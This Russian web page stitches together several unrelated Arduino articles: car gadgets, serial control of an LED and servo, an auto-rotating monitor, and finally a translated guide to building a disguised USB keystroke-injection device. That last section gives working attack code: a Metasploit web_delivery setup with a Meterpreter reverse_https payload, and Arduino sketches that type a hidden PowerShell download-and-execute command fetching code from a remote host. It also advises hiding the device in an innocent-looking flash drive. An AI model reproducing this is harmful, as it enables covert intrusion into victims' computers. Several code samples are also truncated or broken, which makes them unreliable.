Собираем на Arduino автоматическое поворотное устройство дисплея компьютера. Установка и настройка Arduino в ОС Windows

Технологии не стоят на месте и сегодня автолюбителям предлагается множество различных вариантов для совершенствования своих «железных коней». Одним из таковых является Arduino. Это устройство представляет собой инструмент, использующийся для проектирования электронных устройств. В случае с автомобилем проектирование обычно осуществляется на лобовое стекло. Как сделать бортовой компьютер на Arduino и как его правильно настроить — читайте в этой статье.

[ Скрыть ]

Идеи для авто на основе маленькой платы с маленьким процессором — Arduino

Компы давно и плотно вошли в нашу жизнь. Аппаратная платформа Arduino — это одна из последних разработок с открытым программным кодом, которая построена на обычной печатной схеме. Подробнее о том, как с помощью такой платы сделать разные устройства для авто, мы расскажем далее.

БК

С помощью платы Arduino можно соорудить автомобильный бортовой компьютер, который сможет:

  • рассчитать расход горючего;
  • вывести информацию о температуре антифриза;
  • рассчитать скорость движения, а также расстояние поездки;
  • вывести потраченное горючее за определенный километраж;
  • определить обороты мотора и т.д (автор видео — канал Arduino Tech PTZ).

Помимо устройства Arduino вам также потребуется жидкокристаллический модуль, адаптер Блютуз НС-05, а также сканер ELM327 и резисторное устройство на 10 кОм. Разумеется, необходимо приготовить и звуковой индикатор, монтажные провода и сам корпус устройства.

Процедура сборки осуществляется следующим образом:

  1. Сначала настраиваем Блютуз адаптер. К пинам устройства нужно припаять провода — к двум нижним и верхним контактам.
  2. Сам модуль подключается к плате для настройки, для этого необходимо открыть программу Arduino IDE 1.0.6 или любую другую версию, после его залить скетч в схему через USB-выход.
  3. Когда загрузка будет завершена, нужно зайти в меню Сервис — Монитор порта и выставить скорость 9600.
  4. Затем собирается схема с платой, адаптером и заранее подготовленным дисплеем. Сначала подключается Блютуз адаптер.
  5. После этого в схему добавляется дисплей. Более подробное описание подключения вы найдете на фото ниже.
  6. Резисторный элемент на 10 кОм используется для управления яркостью и контрастностью дисплея. Поэтому при первом подключении вы можете заметить, что изображения нет, если это так, то его нужно просто настроить путем поворота резистора.
  7. Далее, производится подключение дополнительной клавиши, которая будет выполнять функцию переключения экранов с информацией. Один контакт от кнопки идет к элементу GND, второй — к контакту 10. Чтобы подключить бипер, плюсовой контакт соединяется с 13 пином, а минусовой — с GND.
  8. Затем, используя то же программное обеспечение Arduino IDE 1.0.6, нужно залить скетч. Теперь вам остается только настроить бортовой компьютер и подключить его к автомобилю.

Фотогалерея «Схема подключения БК»

GPS-трекер

Чтобы собрать GPS-трекер на базе Arduino, вам потребуется:

  • сама плата, процесс описан на примере модели Mega 2560;
  • модуль GSM/GPRS, который будет использоваться для передачи данных на сервер;
  • а также Arduino GPS-приемник, в примере мы рассмотрим модель SKM53 (автор видео об изготовлении трекера на примере платы SIM 808 — канал Alex Vas).

Как производится подключение схемы:

  1. Сначала осуществляется подключение модуля к основной плате, по умолчанию установлена скорость передачи данных 115200.
  2. После подключения нужно включить девайс и установить одинаковую скорость для всех портов — как последовательных, так и программных.
  3. GSM передатчик подключается к контактам 7 и 8 на основной микросхеме.
  4. Затем производится настройка модуля путем ввода команд. Все команды мы описывать не будем, их и так можно найти в Интернете без проблем. Рассмотрим только самые основные. AT+SAPBR=3,1,«CONTYPE»,«GPRS» — команда определяет тип подключения, в данном случае это GPRS. AT+SAPBR=3,1,«APN»,«internet.***.ru», где *** — это адрес оператора мобильной сети, который будет использоваться. AT+HTTPINIT — по этой команде производится инициализация HTTP.
  5. Нужно отметить один нюанс — при написании серверной составляющей интерфейса, желательно предусмотреть прием и выведение данных для нескольких адаптеров. Нужно установить переключатель на три позиции, это даст возможность получать данные от восьми автомобилей.
  6. Затем производится написание скетча на микросхеме. Сам скетч также можно найти в Сети, писать его необязательно. Учтите, если будут использоваться два активных последовательных порта, это может привести к ошибкам в передачи и отправке информации.

Парктроник

Чтобы соорудить парктроник, вам потребуются такие составляющие:

  • сама микросхема;
  • ультразвуковое устройство, в данном случае это дальномер HC-SR04:
  • шесть светодиодных элементов;
  • шесть резисторных элементов сопротивлением на 220 Ом;
  • соединительные провода типа «папа-папа»;
  • пьезодинамический элемент;
  • макетная схема для сборки.

Процедура сборки выглядит следующим образом:

  1. Для начала на макетной схеме необходимо установить светодиодные элементы, подготовленные заранее. Отрицательный контакт у всех светодиодов будет общим. Короткий контакт — катод — следует подключить к отрицательной шине, которая имеется на макетной плате.
  2. К более длинным контактам диодов, то есть анодам, необходимо подключить резисторные элементы на 200 Ом, если вы не будете их использовать, это приведет к перегоранию диодов.
  3. На центральной части производится монтаж ультразвукового устройства. На этом контроллере есть четыре контакта. Vcc — это контакт питания на пять вольт, Echo — это выходной контакт, Trig — это вход, а GND — это заземление.
  4. После того, как дальномер будет установлен, к его выходам следует подключить проводку. В частности, контакт Echo подключается к выходу 13, Trig — к 12 контакту. GND, соответственно, необходимо соединить с заземлением, которое имеется на схеме контроллера, а оставшийся выход Vcc соединяется с 5-вольтовым питанием на плате Arduino.
  5. После выполнения этих действий нужно соединить проводку с контактами резисторных элементов. А также они подключаются последовательным образом к пинам на плате — используются пины от 2 до 7.
  6. Следующим этапом будет подключение пьезопищалки, которая и будет предупреждать водителя о приближении к препятствию. Минусовой выход, как вариант, можно будет объединить с отрицательным контактом установленного ранее дальномера. Что касается положительного контакта, то он соединяется с пином под номером 11 на микросхеме.
  7. Для того, чтобы устройство в конечном итоге работало в нормальном режиме, дополнительно нужно будет написать, после чего загрузить код программы в плату. В этом коде необходимо точно указать дистанцию, при приближении к которой начнут загораться диодные элементы и будет срабатывать пищалка. Причем тональность пищалки должна быть разной, чтобы водитель мог узнать, когда приближение к препятствию будет критическим. Сам код либо пишется самостоятельно, либо берется уже готовый вариант из Интернета. Вариантов скетчей очень много, вам нужно только выбрать наиболее подходящий для вашего устройства (автор видео — канал Arduino Prom).

Заключение

Как видите, микроплата Arduino — это универсальный вариант, с помощью которого можно создать множество различных девайсов. Помимо вышеописанных устройств, вы также можете соорудить спидометр, который будет выдавать информацию о скорости прямо на лобовое стекло, кнопку старт-стоп, и даже сигнализацию для транспортного средства. В целом вариантов очень много, если подойти к вопросу изготовления самодельного гаджета правильно, то у вас все получится.

Разумеется, для этого вы должны обладать знаниями в области электроники и электротехнике, при этом минимальных навыков, вероятнее всего, будет недостаточно. При изготовлении девайсов вам придется принимать собственные решения, о чем в Интернете может и не быть информации. Поэтому будьте готовы к тому, что процесс сборки может занять достаточно долгое время.

Видео «Как соорудить систему управления электродвигателем печки?»

Из видео ниже вы сможете узнать, как обустроить климат-контроль путем доработки регулятора отопительной системе на примере автомобиля ВАЗ 2115 (автор ролика — Иван Никульшин).

Как управлять Ардуино с компьютера через USB. Расскажем, как произвести включение светодиода и управлять сервомотором на Arduino с компьютерной клавиатуры через функцию Serial.available() и Serial.read() . Данные функции проверяют, поступают ли какие-то команды на микроконтроллер по последовательному порту, а затем считывают поступающие команды, вводимые в Serial monitor с компьютера.

Управление Ардуино через компьютер

Функция Serial.available() получает количество байт доступных для чтения из последовательного порта. Это те байты которые отправлены с компьютера и записаны в буфер последовательного порта. Буфер Serial monitor Arduino может хранить максимум до 64 байт. Функция используется также при подключении Bluetooth модуля к Ардуино и полезна при отладке устройства на проектирования.

При тестировании и настройке различных устройств, управляемых через Bluetooth, например, роботом или Лодкой на Ардуино вам пригодится знание, как управлять светодиодом и сервомотором через компьютер. Поэтому рассмотрим сейчас простое управление сервоприводом через компьютер по USB кабелю. При этом через монитор можно отправлять не только цифры, но и буквы латинского алфавита.

Как управлять Ардуино с клавиатуры

Для занятия нам понадобятся следующие детали:

  • плата Arduino Uno / Arduino Nano / Arduino Mega;
  • макетная плата;
  • 1 светодиод и резистор 220 Ом;
  • 1 сервопривод;
  • провода «папа-папа» и «папа-мама».

Остальные исполнительные устройства для Arduino UNO вы можете взять на свое усмотрение и самостоятельно попробовать управлять ими через компьютер с помощью USB кабеля. Соберите на макетной плате схему с одним светодиодом из первого занятия Что такое Ардуино и как им пользоваться, а после сборки схемы со светодиодом загрузите следующий скетч в микроконтроллер.

Скетч. Управление Ардуино с компьютера

int val; pinMode (13, OUTPUT ); // объявляем пин 13 как выход } void loop () { if (val == "1") {digitalWrite (13, HIGH );} // при 1 включаем светодиод if (val == "0") {digitalWrite (13, LOW );} // при 0 выключаем светодиод } }

Пояснения к коду:

  1. функция Serial.available() проверяет поступление команд с компьютера;
  2. функция Serial.read() читает данные, поступившие в Serial monitor.
  3. в условном операторе if (val == "1") стоит знак двойное равенство «соответствие», а в скобках необходимо использовать одинарные кавычки.

После сборки схемы загрузите следующий скетч в плату

Скетч. Управление сервоприводом с компьютера

#include // подключаем библиотеку для сервопривода Servo servo; // объявляем переменную servo типа "servo" int val; // освобождаем память в контроллере для переменой void setup () { Serial .begin (9600); // подключаем последовательный порт servo.attach (11); // привязываем сервопривод к выходу 11 } void loop () { // проверяем, поступают ли какие-то команды if (Serial .available ()) { val = Serial .read (); // переменная val равна полученной команде if (val == "1") { servo.write (10); } // при 1 поворачиваем серво на 10 if (val == "2") { servo.write (45); } // при 2 поворачиваем серво на 45 if (val == "3") { servo.write (90); } // при 3 поворачиваем серво на 90 } }

Пояснения к коду:

  1. в некоторых примерах программ можно встретить такой вариант проверки появления данных в Serial monitor if (Serial.available()>0) .
  2. в качестве команд можно использовать не только цифры, но и буквы. При этом имеет значение какая буква — прописная или строчная.

Узнайте, как создать устройство, которое определяет, когда компьютерный монитор физически повернут, и автоматически сообщает компьютеру повернуть дисплей соответствующим образом.

В настоящее время большое количество цифрового контента является узким и высоким (портретная ориентация), но большинство компьютерных мониторов являются широкими и низкими (ландшафтная ориентация). Это означает, что много места на мониторе теряется впустую. Сравните два скриншота ниже. В ландшафтном представлении видны только полтора поста, а в портретном - 3.



По этой причине при просмотре социальных сетей может быть полезен поворот монитора на 90°, однако переключение настроек дисплея назад и вперед может быть слишком утомительно. Особенно это актуально, если у вас несколько мониторов или компьютер, на котором не работают стандартные сочетания горячих клавиш. Сегодня я собираюсь показать, как создать устройство, которое будет автоматически говорить компьютеру, повернуть дисплей, когда монитор физически повернут.

Принцип действия

Устройство будет собрано на Arduino и установлено на задней панели монитора. Для определения направления мы будем использовать акселерометр. В стационарном режиме акселерометр интерпретирует гравитацию как ускорение вверх, равное 9,8 м/с 2 . Акселерометр будет взаимодействовать с Arduino через интерфейс I2C. Arduino будет постоянно следить (опрашивать), в каком направлении акселерометр думает, что он ускоряется. При изменении Arduino через USB отправит сигнал на компьютер. Скрипт на python, запущенный на компьютере, прочитает это изменение и сообщит компьютеру о необходимости повернуть дисплей в соответствующем направлении.

В данной статье объясняется, как реализовать это на Windows и Linux. Вероятно это можно сделать и на Mac. Однако, поскольку у меня нет Mac, я не могу попробовать. Единственное отличие - это системная команда, вызываемая скриптом Python.

Подключите Arduino с помощью USB кабеля к компьютеру.

Как упоминалось ранее, мы можем использовать акселерометр для определения направления, измеряя, какое направление считывает ускорение 9,8 м/с 2 . Поскольку монитор всегда будет либо в вертикальном, либо в горизонтальном положении, это будет легко (если бы нам было нужно учитывать диагональные ориентации, было бы сложнее).

При программировании хорошей практикой считается разделение кода по различным аспектам на разные файлы. Для определения ориентации мы написали библиотеку на базе официальной библиотеки MMA7455. Это позволяет нам абстрагироваться от деталей того, как это делается, и поэтому наш основной файл может оставаться простым, в нем будет проверяться ориентация вызовом только одной функции и при изменениях отправляться сообщение на компьютер.

Скачайте и распакуйте следующий архив:

Откройте monitor.ino в Arduino IDE. Скомпилируйте и запустите код (все 3 файла для Arduino должны быть в одном каталоге). Откройте монитор последовательного порта Инструменты (Tools) > Монитор порта (Serial Monitor) или с помощью Ctrl + Shift + M .

Вы должны будете увидеть что-то похожее:

Freescale MMA7455 accelerometer May 2012 The MMA7455 is okay STATUS: 0 WHOAMI: 55 Assuming the device is Y_POS

Теперь возьмите Arduino так, чтобы она находилась параллельно вертикальной плоскости. Повращайте её (тоже в вертикальной плоскости). Каждый раз при повороте на 90° вы должны видеть что-то похожее:

Rotate Monitor change detected Rotate Monitor change detected Rotate Monitor change detected Rotate Monitor

Установите устройство на заднюю панель монетора и подключите его к компьютеру с помощью USB кабеля. Для установки вы можете использовать любой способ. Я использовал пластиковые стойки и двухсторонний скотч.

Нам нужно откалибровать акселерометр, чтобы он знал, в каком направлении он указывает при включении. Эта инициализация будет выполняться при каждом включении Arduino. При использовании на мониторе это может быть всякий раз, когда вы включаете компьютер (зависит от того, остается ли питание на USB портах, когда компьютер выключен). Поэтому, когда вы включаете компьютер, это устройство ожидает, что ваш монитор будет находиться в том положении, которое вы определили как положение по умолчанию. Если это не так, Arduino сообщит компьютеру, что дисплей повернут неправильно, или она будет дезориентирована и не будет говорить компьютеру о вращении вовсе.

Когда вы устанавливаете устройство на заднюю панель монитора, обратите внимание на то, какое направление является верхом, когда ваш монитор находится в положении по умолчанию (в том, при котором, вероятно, он будет находиться при включении компьютера).

В monitor.ino есть строка кода, которую нужно соответствующим образом изменить. Если стрелка y на акселерометре указывает вверх, то оставьте в строке Y_POS . Если стрелка указывает вниз, измените строку на Y_NEG . Аналогично и с осью x, используйте X_POS и X_NEG .

#define START_ORIENTATION Y_POS

Если вы хотите понять, как работает код, то продолжайте чтение. Если вам необходим просто работающий продукт, то можно перейти к разделу «Код со стороны компьютера».

Пояснения к коду

Посмотрим на MMA7455.h .

Typedef enum {Y_POS, Y_NEG, X_POS, X_NEG, Z_POS, Z_NEG, NOT_SURE} orientation;

Перечисление enum в C представляет собой тип данных, как int или char . Оно используется для переменных, которые точно могут быть одним из значений из короткого списка нечисловых переменных. В данном случае мы используем enum для сохранения ориентации устройства в переменной.

Посмотрите на акселерометр. Вы увидите на нем стрелки x и y . Когда стрелка x указывает на верх, то мы должны указать X_POS . Когда стрелка x указывает вниз, мы должны указать X_NEG . Ось z указывает на плату. Когда плата лежит на столе в горизонтальном положение, это состояние обозначается Z_POS .

При установке на заднюю панель монитора устройство должно всегда по x-оси или по y-оси быть направлено вверх или вниз. В monitor.ino мы создали макрос под названием VALID_ORIENTATION для проверки, соответствует заданная ориентация одному из 4 возможных вариантов. Как вы можете видеть, можем проверить значение перечисления, как и значения любого другого типа данных.

#define VALID_ORIENTATION(o) ((o==Y_POS) || (o==Y_NEG) || (o==X_POS) || (o==X_NEG))

В функции setup() в основном диагностика. В ней три важных строки:

Serial.begin(9600);

Строка выше инициализирует связь по последовательному порту, через который мы будем взаимодействовать с компьютером.

Wire.begin();

Инициализирует связь по шине I2C, через которую мы будем взаимодействовать с акселерометром. Она инициализирует настройки только на стороне Arduino. Акселерометр мы инициализируем с помощью следующей строки:

Error = MMA7455_init(START_ORIENTATION);

Когда вы нажимаете кнопку, ее контакты не замыкаются идеально. Они «дребезжат», и сигнал выглядит так, как если бы пользователь в течение нескольких миллисекунд нажал кнопку несколько раз. Мы ждем 100 мс, чтобы убедиться, что наш код не интерпретирует этот дребезг как последовательность нажатий. Существует два подхода борьбы с дребезгом контактов. Мы можем реализовать либо аппаратное, либо программное подавление дребезга контактов. Аппаратный метод включает в себя добавление в схему фильтра нижних частот, либо активного, либо пассивного. Поскольку это связано с покупкой и пайкой дополнительных компонентов, вместо него я выбрал программное подавление дребезга.

Используемый нами акселерометр имеет некоторые функции прерываний, но в нашем случае они неприменимы. Вот почему мы прибегли к опросу (прерывания предпочтительны с точки зрения производительности). Как правило, при работе с кнопками рекомендуется использовать прерывания. Однако, поскольку мы уже опрашиваем акселерометр, то можем заодно опросить и кнопку.

Каждый раз в цикле мы проверяем, нажата ли кнопка в данный момент. Если это так, и она была не нажата в предыдущий раз, то мы знаем, что поьзователь нажал ее только что, и поэтому мы запускаем функцию setup() снова и отправляем START_ORIENTATION на компьютер. Затем, прежде чем продолжить, мы ждем 100 мс. Эта задержка нужна, чтобы перед продолжением работы Arduino дождалась, чтобы контакты установили конечное состояние. По общему признанию, это довольно небрежный и ленивый подход к программному подавлению дребезга контактов, потому что Arduino ничего не делает во время задержки. Более сложный подход будет включать в себя таймеры, чтобы, пока Arduino ждет установления состояния контактов, мог выполняться другой код. В этом конкретном случае единственное, что мы упускаем, используя задержку вместо таймера, - это изменение показаний акселерометра. Поскольку, когда пользователь нажимает кнопку, этого происходить не должно, то этот неаккуратный метод можно считать приемлемым. Единственное преимущество метода задержки - это простота. Аппаратное подавление дребезга контактов требует дополнительных компонентов, а написание кода для прерываний и задержек может оказаться сложным.

}else if(!digitalRead(BUTTON_PIN) // кнопка была нажата && previous_button_state) // и это первый раз, когда она нажата { // послать, даже если ориентация на была изменена setup(); // перекалибровать sendOrientation(START_ORIENTATION); delay(100); //программное подавление дребезга контактов previous_button_state = 0; }

Код со стороны компьютера

Arduino отправит информацию на компьютер, используя тот же последовательный интерфейс, который мы используем для ее программирования и отладки. Чтобы избежать конфликтов, убедитесь, что монитор последовательного порта в Arduino IDE закрыт, когда запущен скрипт. Если он открыт, некоторые сообщения от Arduino будут захвачены монитором последовательного порта, и скрипт их не увидит или увидит только их часть.

На стороне компьютера мы будем использовать код на Python. Он будет слушать то, что Arduino пишет в последовательный интерфейс, и выполнять системный вызов для поворота дисплея.

Пользователи Linux могут пропустить следующий подраздел и перейти к подразделу «Linux».

Windows

Если у вас несколько мониторов, то сделайте следующее (если у вас только один монитор, то пропустите этот параграф). Откройте командную строку там, где сохранили display.exe (откройте проводник в этом месте, затем выполните Shift + правый клик на фоне проводника, и выберите " Открыть окно команд "). Введите в консоли display.exe /listdevices . Вы должны будете увидеть индекс каждого вашего монитора. Обратите внимание на индекс монитора, который хотите вращать.

Python скрипт откроет соединение с USB портом. Когда он обнаружит сообщение от Arduino, он пошлет соответствующую команду утилите display.exe , которая и повернет дисплей. Найдите следующую строку и укажите каталог, в котором находится display.exe:

Command = "C:/.../display.exe /rotate:" + translation

Пользователям с несколькими мониторами необходимо добавить еще /device x (где x - индекс вашего монитора). Получится что-то похожее:

Command = "C:/.../display.exe /device 2 /rotate:" + translation

В командной строке перейдите к каталогу, в котором сохранили display.exe и windows-script.py . Это можно сделать с помощью команды cd . Например, если они сохранены в Documents/rotate, используйте:

Cd Documents/rotate

Теперь наберите dir , чтобы увидеть список файлов в каталоге. Дважды проверьте, что в нем есть оба файла. Теперь давайте запустим python-скрипт.

Python windows-script.py

Попробуйте повращать устройство. Дисплей должен поворачиваться в соответствующем направлении.

Теперь нам необходимо, чтобы Windows запускала эту программу в фоновом режиме при включении компьютера. По умолчанию программы из автозапуска запускаются видимыми. Но мы не хотим постоянно видеть окно командной строки. Поэтому мы создадим batch файл, который будет запускать python скрипт в фоновом режиме, а затем выполнение этого batch файла будет завершаться.

Сначала откройте каталог автозагрузки. Расположение этой папки зависит от используемой версии Windows. Нажмите клавишу Windows , а затем R . Должно появиться окно запуска. Наберите shell:startup и нажмите Enter . Теперь вы должны увидеть каталог автозагрузки. Создайте там новый текстовый файл monitor.bat и вставьте в него следующий код. Измените путь так, чтобы он указывал на python скрипт.

@echo off START pythonw C:\...\windows-script.py

Мы используем pythonw вместо python, потому что это обязательно для скрытия окна командной строки python скрипта.

Теперь перезагрузите компьютер и проверьте, что всё работает. Если всё хорошо, то можно перейти к концу статьи.

Linux

Всё готово!

Теперь присаживайтесь и наслаждайтесь более эффективным использованием места на вашем мониторе.

10 октября 2017 в 21:09

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

  • DIY или Сделай сам
  • Перевод

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5 , на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток - вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB - вот и всё, что нам понадобится.

К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include . Вам понадобится установить библиотеку, следуя этой инструкции.

#include

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500); }

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Отлично. Создадим эксплоит во фреймворке Metasploit.

Будем использовать модуль web_delivery . Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

Нужно сказать нашей программе, откуда брать бинарники:

Set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

Set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

Set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit .

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

Use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");

Теперь можем запустить это с флэшки.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам - всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд - это немалое время, особенно когда прячешься от драконов.

Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press("r"); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/");"); Keyboard.write(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Самое большое преимущество Pro Micro - это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.




Top